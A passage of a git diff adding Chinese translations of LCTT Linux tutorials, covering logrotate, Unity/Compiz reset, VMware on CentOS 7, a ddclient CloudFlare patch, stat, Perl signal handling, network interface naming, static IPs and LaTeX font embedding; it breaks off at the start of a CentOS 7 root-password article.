+logrotate需要的**cron**任务应该在安装时就自动创建了,我把cron文件的内容贴出来,以供大家参考。 + + # cat /etc/cron.daily/logrotate + +---------- + + #!/bin/sh + + # Clean non existent log file entries from status file + cd /var/lib/logrotate + test -e status || touch status + head -1 status > status.clean + sed 's/"//g' status | while read logfile date + do + [ -e "$logfile" ] && echo "\"$logfile\" $date" + done >> status.clean + mv status.clean status + + test -x /usr/sbin/logrotate || exit 0 + /usr/sbin/logrotate /etc/logrotate.conf + +小结一下,logrotate工具对于防止因庞大的日志文件而耗尽存储空间是十分有用的。配置完毕后,进程是全自动的,可以长时间在不需要人为干预下运行。本教程重点关注几个使用logrotate的几个基本样例,你也可以定制它以满足你的需求。 + +希望本文对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/09/logrotate-manage-log-files-linux.html + +作者:[Sarmed Rahman][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed diff --git a/published/201410/20140922 Reset Unity and Compiz Settings in Ubuntu 14.04.md b/published/201410/20140922 Reset Unity and Compiz Settings in Ubuntu 14.04.md new file mode 100644 index 0000000000..dd642b9cdb --- /dev/null +++ b/published/201410/20140922 Reset Unity and Compiz Settings in Ubuntu 14.04.md @@ -0,0 +1,41 @@ +小技巧:在Ubuntu 14.04中重置Unity和Compiz设置 +================================================================================ +如果你一直在试验你的Ubuntu系统,你可能最终以Unity和Compiz的一片混乱收场。在此贴士中,我们将看看怎样来重置Ubuntu 14.04中的Unity和Compiz。事实上,全部要做的事,仅仅是运行几个命令而已。 + +### 重置Ubuntu 14.04中的Unity和Compiz ### + +打开终端(Ctrl+Alt+T),并使用以下命令来重置compiz: + + dconf reset -f /org/compiz/ + +重置compiz后,重启Unity: + + setsid unity + +此外,如果你想将Unity图标也进行重置,试试以下的命令吧: + + unity --reset-icons + +### 可能的疑难解决方案: ### + +如果你在重置compiz时遇到如下错误: + +> error: GDBus.Error:org.gtk.GDBus.UnmappedGError.Quark._g_2dfile_2derror_2dquark.Code17: Cannot open dconf database: invalid gvdb header + +可能的原因是用户文件被搞乱了。备份dconf配置,并移除配置文件: + + mv ~/.config/dconf/ ~/.config/dconf.bak + +希望本贴士对你重置Ubuntu 14.04中Unity和compiz有所帮助,欢迎您随时提出问题和建议。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/reset-unity-compiz-settings-ubuntu-1404/ + +作者:[Abhishek][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ diff --git a/published/201410/20140924 How To Install Vmware 10 On CentOS 7.md b/published/201410/20140924 How To Install Vmware 10 On CentOS 7.md new file mode 100644 index 0000000000..13bb1202b5 --- /dev/null +++ b/published/201410/20140924 How To Install Vmware 10 On CentOS 7.md @@ -0,0 +1,59 @@ +技巧:在CentOS 7上安装Vmware 10 +================================================================================ +在CentOS 7上安装Vmware 10.0.3,我来介绍下我的经验。通常,这个版本是不能在CentOS 7工作的,因为它只能运行在比较低的内核版本3.10上。 + +首先,以正常方式下载并安装(没有问题)。唯一的问题是在后来运行vmware程序的时候。 + +### 如何修复? ### + +**1 – 进入 /usr/lib/vmware/modules/source。** + + cd /usr/lib/vmware/modules/source + +**2 – 解压 vmnet.tar.** + + tar -xvf vmnet.tar + +**3 – 进入 vmnet-only 目录。** + + cd vmnet-only + +**4 – 编辑filter.c文件。** + + vi filter.c + +在206和259行,替换以下字符串: + + #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 13, 0) + +为: + + #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) + +保存并退出。 + +**5 – 回到先前文件夹。** + + cd ../ + +**6 – 再次压缩文件夹。** + + tar -uvf vmnet.tar vmnet-only + +**7 – 移除旧目录。** + + rm -fr vmnet-only + +**8 – 启动vmware并体验。** + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/09/Selection_008.png) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-vmware-10-centos-7/ + +作者: M.el Khamlichi +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/20140924 How to delete recently opened files history in ubuntu 14.04.md b/published/201410/20140924 How to delete recently opened files history in ubuntu 14.04.md new file mode 100644 index 0000000000..765b7c30de --- /dev/null +++ b/published/201410/20140924 How to delete recently opened files history in ubuntu 14.04.md @@ -0,0 +1,26 @@ +如何清理 Ubuntu 14.04 的最近打开文件历史列表 +================================================================================ +这个简明教程对Ubuntu 14.04历史文件清理进行了说明,它用于初学者。 + +要从dash搜索删除历史记录,请遵循以下程序。 + +转到系统设置(System Settings)并打开安全与隐私(Security & Privacy)。 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/09/14.png) + +在文件与应用(Files and Applications)标签下,点击清除用户数据(Clear Usage Data)。 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/09/26.png) + +你也可以关闭“记录文件与应用使用(Record file and Application usage)以阻止系统记录你当前使用的文件和应用。 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/09/36.png) + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/how-to-delete-recently-opened-files-history-in-ubuntu-14-04.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/20140924 How to use CloudFlare as a ddclient provider under Ubuntu.md b/published/201410/20140924 How to use CloudFlare as a ddclient provider under Ubuntu.md new file mode 100644 index 0000000000..fb78dd7867 --- /dev/null +++ b/published/201410/20140924 How to use CloudFlare as a ddclient provider under Ubuntu.md @@ -0,0 +1,69 @@ +Ubuntu下使用CloudFlare 动态域名 +================================================================================ + +### 需求 ### + +首先保证你有一个自有域名,然后登录到CloudFlare,添加你的域名。遵循指令操作,使用它给出的默认值就行了。你将让CloudFlare来托管你的域,所以你需要调整你的注册机构的设置。如果你想要使用子域名,请为它添加一条‘A’记录。目前,任何IP地址都可以。 + +DDclient是一个Perl客户端,用于更新动态DNS网络服务提供商帐号下的动态DNS条目。它最初是由保罗·巴利编写的,现在大多数是由维姆潘科在做。它能做的不仅仅是动态DNS,也可以通过几种不同的方式获取你的WAN口IP地址。 + +CloudFlare 的一个功能是它允许你通过API或叫做ddclient的命令行脚本更新你的DNS记录。不管哪一个,结果都一样,而且它是个免费软件。 + +不幸的是,ddclient并不能在CloudFlare中即开即用。它需要打补丁,这里就是要介绍怎样在Debian或Ubuntu上破解它,它也能在带有Raspberry Pi的Raspbian上工作。 + +### 在Ubuntu上安装ddclient ### + +打开终端,并运行以下命令 + + sudo apt-get install ddclient + +现在,你需要使用以下命令来安装补丁 + + sudo apt-get install curl sendmail libjson-any-perl libio-socket-ssl-perl + + curl -O http://blog.peter-r.co.uk/uploads/ddclient-3.8.0-cloudflare-22-6-2014.patch + + sudo patch /usr/sbin/ddclient < ddclient-3.8.0-cloudflare-22-6-2014.patch + +以上命令用来完成ddclient的安装和打补丁 + +### 配置ddclient ### + +你需要使用以下命令来编辑ddclient.conf文件 + + sudo vi /etc/ddclient.conf + +添加以下信息 + + ## + ### CloudFlare (cloudflare.com) + ### + ssl=yes + use=web, web=dyndns + protocol=cloudflare, \ + server=www.cloudflare.com, \ + zone=domain.com, \ + login=you@email.com, \ + password=api-key \ + host.domain.com + + Comment out: + + #daemon=300 + +你的 api-key 可以从 CloudFlare帐号页面找到,ssl=yes 可能已经设置,use=web, web=dyndns 表示使用 dyndns 来确定 IP(用于 NAT)。 + +你已经搞定了。登录到 https://www.cloudflare.com 并检查列出的与你域名对应的IP地址是否与 http://checkip.dyndns.com 列出的相匹配。 + +使用以下命令来验证你的设置: + + sudo ddclient -daemon=0 -debug -verbose -noquiet + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/how-to-use-cloudflare-as-a-ddclient-provider-under-ubuntu.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/20140924 Unix----stat -- more than ls.md b/published/201410/20140924 Unix----stat -- more than ls.md new file mode 100644 index 0000000000..c701d3f855 --- /dev/null +++ b/published/201410/20140924 Unix----stat -- more than ls.md @@ -0,0 +1,178 @@ +stat -- 获取比 ls 更多的信息 +================================================================================ +> 厌倦了 ls 命令,并且想查看更多有关你的文件的有趣的信息? 试一试 stat! + +![](http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/stats.jpg) + +ls 命令可能是每一个 Unix 使用者第一个学习的命令之一, 但它仅仅显示了 stat 命令能给出的信息的一小部分。 + +stat 命令从文件的索引节点获取信息。 正如你可能已经了解的那样, 每一个系统里的文件都存有三组日期和时间, 它们包括最近修改时间(即使用 ls -l 命令时显示的日期和时间), 最近状态改变时间(包括对文件重命名)和最近访问时间。 + +使用长列表模式查看文件信息, 你会看到类似下面的内容: + + $ ls -l trythis + -rwx------ 1 shs unixdweebs 109 Nov 11 2013 trythis + +使用 stat 命令, 你会看到下面这些: + + $ stat trythis + File: `trythis' + Size: 109 Blocks: 8 IO Block: 262144 regular file + Device: 18h/24d Inode: 12731691 Links: 1 + Access: (0700/-rwx------) Uid: ( 263/ shs) Gid: ( 100/ unixdweebs) + Access: 2014-09-09 19:27:58.000000000 -0400 + Modify: 2013-11-11 08:40:10.000000000 -0500 + Change: 2013-11-11 08:40:10.000000000 -0500 + +在上面的情形中, 文件的状态改变和文件修改的日期/时间是相同的, 而访问时间则是相当近的时间。 我们还可以看到文件使用了 8 个块, 以及两种格式显示的文件权限 -- 八进制(0700)格式和 rwx 格式。 在第三行显示的索引节点是 12731681. 文件没有其它的硬链接(Links: 1)。 而且, 这个文件是一个常规文件。 + +把文件重命名, 你会看到状态改变时间发生变化。 + +这里的 ctime 信息, 最早设计用来存储文件的创建(create)日期和时间, 但后来不知道什么时候变为用来存储状态修改(change)时间。 + + $ mv trythis trythat + $ stat trythat + File: `trythat' + Size: 109 Blocks: 8 IO Block: 262144 regular file + Device: 18h/24d Inode: 12731691 Links: 1 + Access: (0700/-rwx------) Uid: ( 263/ shs) Gid: ( 100/ unixdweebs) + Access: 2014-09-09 19:27:58.000000000 -0400 + Modify: 2013-11-11 08:40:10.000000000 -0500 + Change: 2014-09-21 12:46:22.000000000 -0400 + +改变文件的权限也会改变 ctime 域。 + +你也可以配合通配符来使用 stat 命令以列出一组文件的状态: + + $ stat myfile* + File: `myfile' + Size: 20 Blocks: 8 IO Block: 262144 regular file + Device: 18h/24d Inode: 12731803 Links: 1 + Access: (0640/-rw-r-----) Uid: ( 263/ shs) Gid: ( 100/ unixdweebs) + Access: 2014-08-23 03:00:36.000000000 -0400 + Modify: 2014-08-22 12:02:12.000000000 -0400 + Change: 2014-08-22 12:02:12.000000000 -0400 + File: `myfile2' + Size: 20 Blocks: 8 IO Block: 262144 regular file + Device: 18h/24d Inode: 12731806 Links: 1 + Access: (0640/-rw-r-----) Uid: ( 263/ shs) Gid: ( 100/ unixdweebs) + Access: 2014-08-23 03:00:36.000000000 -0400 + Modify: 2014-08-22 12:03:30.000000000 -0400 + Change: 2014-08-22 12:03:30.000000000 -0400 + File: `myfile3' + Size: 40 Blocks: 8 IO Block: 262144 regular file + Device: 18h/24d Inode: 12730533 Links: 1 + Access: (0640/-rw-r-----) Uid: ( 263/ shs) Gid: ( 100/ unixdweebs) + Access: 2014-08-23 03:00:36.000000000 -0400 + Modify: 2014-08-22 12:03:59.000000000 -0400 + Change: 2014-08-22 12:03:59.000000000 -0400 + +如果我们喜欢的话, 我们也可以通过其他命令来获取这些信息。 + +向 ls -l 命令添加 "u" 选项, 你会看到下面的结果。 注意这个选项会显示最后访问时间, 而添加 "c" 选项则会显示状态改变时间(在本例中, 是我们重命名文件的时间)。 + + $ ls -lu trythat + -rwx------ 1 shs unixdweebs 109 Sep 9 19:27 trythat + $ ls -lc trythat + -rwx------ 1 shs unixdweebs 109 Sep 21 12:46 trythat + +stat 命令也可应用与文件夹。 + +在这个例子中, 我们可以看到有许多的链接。 + + $ stat bin + File: `bin' + Size: 12288 Blocks: 24 IO Block: 262144 directory + Device: 18h/24d Inode: 15089714 Links: 9 + Access: (0700/drwx------) Uid: ( 263/ shs) Gid: ( 100/ unixdweebs) + Access: 2014-09-21 03:00:45.000000000 -0400 + Modify: 2014-09-15 17:54:41.000000000 -0400 + Change: 2014-09-15 17:54:41.000000000 -0400 + +在这里, 我们还可以查看一个文件系统。 + + $ stat -f /dev/cciss/c0d0p2 + File: "/dev/cciss/c0d0p2" + ID: 0 Namelen: 255 Type: tmpfs + Block size: 4096Fundamental block size: 4096 + Blocks: Total: 259366 Free: 259337 Available: 259337 + Inodes: Total: 223834 Free: 223531 + +注意 Namelen (文件名长度)域, 如果文件名长于 255 个字符的话, 你会很幸运地在文件名处看到心形符号! + +stat 命令还可以一次显示所有我们想要的信息。 下面的例子中, 我们只想查看文件类型, 然后是硬连接数。 + + $ stat --format=%F trythat + regular file + $ stat --format=%h trythat + 1 + +在下面的例子中, 我们查看了文件权限 -- 分别以两种可用的格式 -- 然后是文件的 SELinux 安全环境。最后,我们我们可以以从 Epoch 开始的秒数格式来查看文件访问时间。 + + $ stat --format=%a trythat + 700 + $ stat --format=%A trythat + -rwx------ + $ stat --format=%C trythat + (null) + $ stat --format=%X bin + 1411282845 + +下面全部是可用的选项: + + %a 八进制表示的访问权限 + %A 可读格式表示的访问权限 + %b 分配的块数(参见 %B) + %B %b 参数显示的每个块的字节数 + %d 十进制表示的设备号 + %D 十六进制表示的设备号 + %f 十六进制表示的 Raw 模式 + %F 文件类型 + %g 属主的组 ID + %G 属主的组名 + %h 硬连接数 + %i Inode 号 + %n 文件名 + %N 如果是符号链接,显示器所链接的文件名 + %o I/O 块大小 + %s 全部占用的字节大小 + %t 十六进制的主设备号 + %T 十六进制的副设备号 + %u 属主的用户 ID + %U 属主的用户名 + %x 最后访问时间 + %X 最后访问时间,自 Epoch 开始的秒数 + %y 最后修改时间 + %Y 最后修改时间,自 Epoch 开始的秒数 + %z 最后改变时间 + %Z 最后改变时间,自 Epoch 开始的秒数 + +针对文件系统还有如下格式选项: + + %a 普通用户可用的块数 + %b 文件系统的全部数据块数 + %c 文件系统的全部文件节点数 + %d 文件系统的可用文件节点数 + %f 文件系统的可用节点数 + %C SELinux 的安全上下文 + %i 十六进制表示的文件系统 ID + %l 文件名的最大长度 + %n 文件系统的文件名 + %s 块大小(用于更快的传输) + %S 基本块大小(用于块计数) + %t 十六进制表示的文件系统类型 + %T 可读格式表示的文件系统类型 + +这些信息都可以得到,stat 命令也许可以帮你以稍微不同的角度来了解你的文件。 + +-------------------------------------------------------------------------------- + +via: http://www.itworld.com/operating-systems/437351/unix-stat-more-ls + +作者:[Sandra Henry-Stocker][a] +译者:[wangjiezhe](https://github.com/wangjiezhe) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.itworld.com/sandra-henry-stocker diff --git a/published/201410/20140925 Linux FAQs with Answers--How to catch and handle a signal in Perl.md b/published/201410/20140925 Linux FAQs with Answers--How to catch and handle a signal in Perl.md new file mode 100644 index 0000000000..80272c60a0 --- /dev/null +++ b/published/201410/20140925 Linux FAQs with Answers--How to catch and handle a signal in Perl.md @@ -0,0 +1,30 @@ +Linux 有问必答:如何在Perl中捕捉并处理信号 +================================================================================ +> **提问**: 我需要通过使用Perl的自定义信号处理程序来处理一个中断信号。在一般情况下,我怎么在Perl程序中捕获并处理各种信号(如INT,TERM)? + +作为POSIX标准的异步通知机制,信号由操作系统发送给进程某个事件来通知它。当产生信号时,操作系统会中断目标程序的执行,并且该信号被发送到该程序的信号处理函数。可以定义和注册自己的信号处理程序或使用默认的信号处理程序。 + +在Perl中,信号可以被捕获,并由一个全局的%SIG哈希变量指定处理函数。这个%SIG哈希变量的键名是信号值,键值是对应的信号处理程序的引用。因此,如果你想为特定的信号定义自己的信号处理程序,你可以直接在%SIG中设置信号的哈希值。 + +下面是一个代码段来处理使用自定义信号处理程序中断(INT)和终止(TERM)的信号。 + + $SIG{INT} = \&signal_handler; + $SIG{TERM} = \&signal_handler; + + sub signal_handler { + print "This is a custom signal handler\n"; + die "Caught a signal $!"; + } + +![](https://farm4.staticflickr.com/3910/15141131060_f7958f20fb.jpg) + +%SIG其他的可用的键值有'IGNORE'和'DEFAULT'。当所指定的键值是'IGNORE'(例如,$SIG{CHLD}='IGNORE')时,相应的信号将被忽略。指定'DEFAULT'的键值(例如,$SIG{HUP}='DEFAULT'),意味着我们将使用一个(系统)默认的信号处理程序。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/catch-handle-interrupt-signal-perl.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201410/20140925 Linux FAQs with Answers--How to change a network interface name on CentOS 7.md b/published/201410/20140925 Linux FAQs with Answers--How to change a network interface name on CentOS 7.md new file mode 100644 index 0000000000..54dbf33c73 --- /dev/null +++ b/published/201410/20140925 Linux FAQs with Answers--How to change a network interface name on CentOS 7.md @@ -0,0 +1,69 @@ +Linux有问必答:如何在CentOS7上改变网络接口名 +================================================================================ +> **提问**: 在CentOS7,我想将分配的网络接口名更改为别的名字。有什么合适的方法来来重命名CentOS或RHEL7的网络接口? + +传统上,Linux的网络接口被枚举为eth[0123...],但这些名称并不一定符合实际的硬件插槽,PCI位置,USB接口数量等,这引入了一个不可预知的命名问题(例如,由于不确定的设备探测行为),这可能会导致不同的网络配置错误(例如,由无意的接口改名引起的禁止接口或者防火墙旁路)。基于MAC地址的udev规则在虚拟化的环境中并不有用,这里的MAC地址如端口数量一样无常。 + +CentOS/RHEL6引入了[一致和可预测的网络设备命名][1]网络接口的方法。这些特性可以唯一地确定网络接口的名称以使定位和区分设备更容易,并且在这样一种方式下,无论是否重启机器、过了多少时间、或者改变硬件,其名字都是持久不变的。然而,这种命名规则并不是默认在CentOS/RHEL6上开启。 + +从CentOS/RHEL7起,这种可预见的命名规则变成了默认。根据这一规则,接口名称被自动基于固件,拓扑结构和位置信息来确定。现在,即使添加或移除网络设备,接口名称仍然保持固定,而无需重新枚举,和坏掉的硬件可以无缝替换。 + + * 基于接口类型的两个字母前缀: + * en -- 以太网 + * sl -- 串行线路IP (slip) + * wl -- wlan + * ww -- wwan + * + * 名字类型: + * b -- BCMA总线和新书 + * ccw -- CCW总线组名 + * o -- 车载设备的索引号 + * s[f][d] -- 热插拔插槽索引号 + * x -- MAC 地址 + * [P]ps[f][d] + * -- PCI 位置 + * [P]ps[f][u][..]1[i] + * -- USB端口号链 + +新的命名方案的一个小的缺点是接口名称相比传统名称有点难以阅读。例如,你可能会发现像enp0s3名字。再者,你再也无法来控制接口名了。 + +![](https://farm4.staticflickr.com/3854/15294996451_fa731ce12c_z.jpg) + +如果由于某种原因,你喜欢旧的方式,并希望能够选择任意名称分配给CentOS/ RHEL7的设备,你需要重写默认的可预测的命名规则,定义基于MAC地址udev规则。 + +**下面是如何在CentOS或RHEL7命名网络接口。** + +首先,让我们来禁用该可预测命名规则。对于这一点,你可以在启动时传递“net.ifnames=0”的内核参数。这是通过编辑/etc/default/grub并加入“net.ifnames=0”到GRUB_CMDLINE_LINUX变量来实现的。 + +![](https://farm4.staticflickr.com/3898/15315687725_c82fbef5bc_z.jpg) + +然后运行这条命令来重新生成GRUB配置并更新内核参数。 + + $ sudo grub2-mkconfig -o /boot/grub2/grub.cfg + +![](https://farm4.staticflickr.com/3909/15128981250_72f45633c1_z.jpg) + +接下来,编辑(或创建)一个udev的网络命名规则文件(/etc/udev/rules.d/70-persistent-net.rules),并添加下面一行。更换成你自己的MAC地址(08:00:27:a9:7a:e1)和接口(sushi)。 + + $ sudo vi /etc/udev/rules.d/70-persistent-net.rules + +---------- + + SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="08:00:27:a9:7a:e1", ATTR{type}=="1", KERNEL=="eth*", NAME="sushi" + +最后,重启电脑并验证新的接口名。 + +![](https://farm4.staticflickr.com/3861/15111594847_14e0c5a00d_z.jpg) + +请注意,配置重命名后的接口仍然是你的责任。如果网络配置(例如,IPv4设置,防火墙规则)是基于旧名称(变更前)的,则需要更新的网络配置以反映更改的名称。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/change-network-interface-name-centos7.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Deployment_Guide/appe-Consistent_Network_Device_Naming.html \ No newline at end of file diff --git a/published/201410/20140925 Linux FAQs with Answers--How to configure a static IP address on CentOS 7.md b/published/201410/20140925 Linux FAQs with Answers--How to configure a static IP address on CentOS 7.md new file mode 100644 index 0000000000..a2134b43cf --- /dev/null +++ b/published/201410/20140925 Linux FAQs with Answers--How to configure a static IP address on CentOS 7.md @@ -0,0 +1,78 @@ +Linux有问必答:如何为CentOS 7配置静态IP地址 +================================================================================ +> **问题**:在CentOS 7上,我想要将我其中一个网络接口从DHCP改为静态IP地址配置,如何才能永久为CentOS或RHEL 7上的网络接口分配静态IP地址? + +如果你想要为CentOS 7中的某个网络接口设置静态IP地址,有几种不同的方法,这取决于你是否想要使用网络管理器。 + +网络管理器(Network Manager)是一个动态网络的控制器与配置系统,它用于当网络设备可用时保持设备和连接开启并激活。默认情况下,CentOS/RHEL 7安装有网络管理器,并处于启用状态。 + +使用下面的命令来验证网络管理器服务的状态: + + $ systemctl status NetworkManager.service + +运行以下命令来检查受网络管理器管理的网络接口: + + $ nmcli dev status + +![](https://farm4.staticflickr.com/3861/15295802711_a102a3574d_z.jpg) + +如果某个接口的nmcli的输出结果是“已连接”(如本例中的enp0s3),这就是说该接口受网络管理器管理。你可以轻易地为某个特定接口禁用网络管理器,以便你可以自己为它配置一个静态IP地址。 + +下面将介绍**在CentOS 7上为网络接口配置静态IP地址的两种方式**,在例子中我们将对名为enp0s3的网络接口进行配置。 + +### 不使用网络管理配置静态IP地址 ### + +进入/etc/sysconfig/network-scripts目录,找到该接口的配置文件(ifcfg-enp0s3)。如果没有,请创建一个。 + +![](https://farm4.staticflickr.com/3911/15112399977_d3df8e15f5_z.jpg) + +打开配置文件并编辑以下变量: + +![](https://farm4.staticflickr.com/3880/15112184199_f4cbf269a6.jpg) + +在上图中,“NM_CONTROLLED=no”表示该接口将通过该配置文件进行设置,而不是通过网络管理器进行管理。“ONBOOT=yes”告诉我们,系统将在启动时开启该接口。 + +保存修改并使用以下命令来重启网络服务: + + # systemctl restart network.service + +现在验证接口是否配置正确: + + # ip add + +![](https://farm6.staticflickr.com/5593/15112397947_ac69a33fb4_z.jpg) + +### 使用网络管理器配置静态IP地址 ### + +如果你想要使用网络管理器来管理该接口,你可以使用nmtui(网络管理器文本用户界面),它提供了在终端环境中配置配置网络管理器的方式。 + +在使用nmtui之前,首先要在/etc/sysconfig/network-scripts/ifcfg-enp0s3中设置“NM_CONTROLLED=yes”。 + +现在,请按以下方式安装nmtui。 + + # yum install NetworkManager-tui + +然后继续去编辑enp0s3接口的网络管理器配置: + + # nmtui edit enp0s3 + +在下面的屏幕中,我们可以手动输入与/etc/sysconfig/network-scripts/ifcfg-enp0s3中所包含的内容相同的信息。 + +使用箭头键在屏幕中导航,按回车选择值列表中的内容(或填入想要的内容),最后点击屏幕底部右侧的确定按钮。 + +![](https://farm4.staticflickr.com/3878/15295804521_4165c97828_z.jpg) + +最后,重启网络服务。 + + # systemctl restart network.service + +好了,现在一切都搞定了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/configure-static-ip-address-centos7.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/20140925 Linux FAQs with Answers--How to detect a Linux distribution in Perl.md b/published/201410/20140925 Linux FAQs with Answers--How to detect a Linux distribution in Perl.md new file mode 100644 index 0000000000..6793ab5565 --- /dev/null +++ b/published/201410/20140925 Linux FAQs with Answers--How to detect a Linux distribution in Perl.md @@ -0,0 +1,53 @@ +Linux有问必答:如何用Perl检测Linux的发行版本 +================================================================================ +> **提问**:我需要写一个Perl程序,它会包含Linux发行版相关的代码。为此,Perl程序需要能够自动检测运行中的Linux的发行版(如Ubuntu、CentOS、Debian、Fedora等等),以及它是什么版本号。如何用Perl检测Linux的发行版本? + +如果要用Perl脚本检测Linux的发行版,你可以使用一个名为[Linux::Distribution][1]的Perl模块。该模块通过检查/etc/lsb-release以及其他在/etc下的发行版特定的目录来猜测底层Linux操作系统。它支持检测所有主要的Linux发行版,包括Fedora、CentOS、Arch Linux、Debian、Ubuntu、SUSE、Red Hat、Gentoo、Slackware、Knoppix和Mandrake。 + +要在Perl中使用这个模块,你首先需要安装它。 + +### 在Debian或者Ubuntu上安装 Linux::Distribution ### + +基于Debian的系统直接用apt-get安装 + + $ sudo apt-get install liblinux-distribution-packages-perl + +### 在Fedora、CentOS 或者RHEL上安装 Linux::Distribution ### + +如果你的Linux没有Linux::Distribution模块的安装包(如基于红帽的系统),你可以使用CPAN来构建。 + +首先确保你的Linux系统安装了CPAN + + $ sudo yum -y install perl-CPAN + +然后,使用这条命令来构建并安装模块: + + $ sudo perl -MCPAN -e 'install Linux::Distribution' + +### 用Perl确定Linux发行版 ### + +Linux::Distribution模块安装完成之后,你可以使用下面的代码片段来确定你运行的Linux发行版本。 + + use Linux::Distribution qw(distribution_name distribution_version); + + my $linux = Linux::Distribution->new; + + if ($linux) { + my $distro = $linux->distribution_name(); + my $version = $linux->distribution_version(); + print "Distro: $distro $version\n"; + } + else { + print "Distro: unknown\n"; + } + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/detect-linux-distribution-in-perl.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://metacpan.org/pod/Linux::Distribution \ No newline at end of file diff --git a/published/201410/20140925 Linux FAQs with Answers--How to embed all fonts in a PDF document generated with LaTex.md b/published/201410/20140925 Linux FAQs with Answers--How to embed all fonts in a PDF document generated with LaTex.md new file mode 100644 index 0000000000..e3fdfa0da7 --- /dev/null +++ b/published/201410/20140925 Linux FAQs with Answers--How to embed all fonts in a PDF document generated with LaTex.md @@ -0,0 +1,39 @@ +Linux有问必答:如何在PDF中嵌入LaTex中的所有字体 +================================================================================ +> **提问**: 我通过编译LaTex源文件生成了一份PDF文档。然而,我注意到,并不是所有字体都嵌入到了PDF文档中。我怎样才能确保所有的字体嵌入在由LaTex生成的PDF文档中? + +当你创建一个PDF文件时,在PDF文件中嵌入字体是一个好主意。如果你不嵌入字体,PDF浏览器可以在计算机上没有字体的情况下使用其他东西代替。这将导致文件被在不同的PDF浏览器或操作系统平台上呈现不同的样式。当你打印出来的文档时,缺少的字体是一个问题。 + +当你从LaTex中生成PDF文档时(例如用pdflatex或dvipdfm),可能并不是所有的字体都嵌入在PDF文档中。例如,[pdffonts][1]下面的输出中提示PDF文档中有缺少的字体(如Helvetica)。 + +![](https://farm3.staticflickr.com/2944/15344704481_d691f66e75_z.jpg) + +为了避免这样的问题,下面是如何在LaTex编译时嵌入所有的字体。 + + $ latex document.tex + $ dvips -Ppdf -G0 -t letter -o document.ps document.dvi + $ ps2pdf -dPDFSETTINGS=/prepress \ + -dCompatibilityLevel=1.4 \ + -dAutoFilterColorImages=false \ + -dAutoFilterGrayImages=false \ + -dColorImageFilter=/FlateEncode \ + -dGrayImageFilter=/FlateEncode \ + -dMonoImageFilter=/FlateEncode \ + -dDownsampleColorImages=false \ + -dDownsampleGrayImages=false \ + document.ps document.pdf + +现在你可以看到所有的字体都被嵌入到PDF中了。 + +![](https://farm4.staticflickr.com/3890/15161184500_15ec673dca_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/embed-all-fonts-pdf-document-latex.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ask.xmodulo.com/check-which-fonts-are-used-pdf-document.html \ No newline at end of file diff --git a/published/201410/20140926 How To Reset Root Password On CentOS 7.md b/published/201410/20140926 How To Reset Root Password On CentOS 7.md new file mode 100644 index 0000000000..c4586cec8b --- /dev/null +++ b/published/201410/20140926 How To Reset Root Password On CentOS 7.md @@ -0,0 +1,52 @@ +如何重置CentOS 7的Root密码 +=== + +重置Centos 7 Root密码的方式和Centos 6完全不同。让我来展示一下到底如何操作。 + +1 - 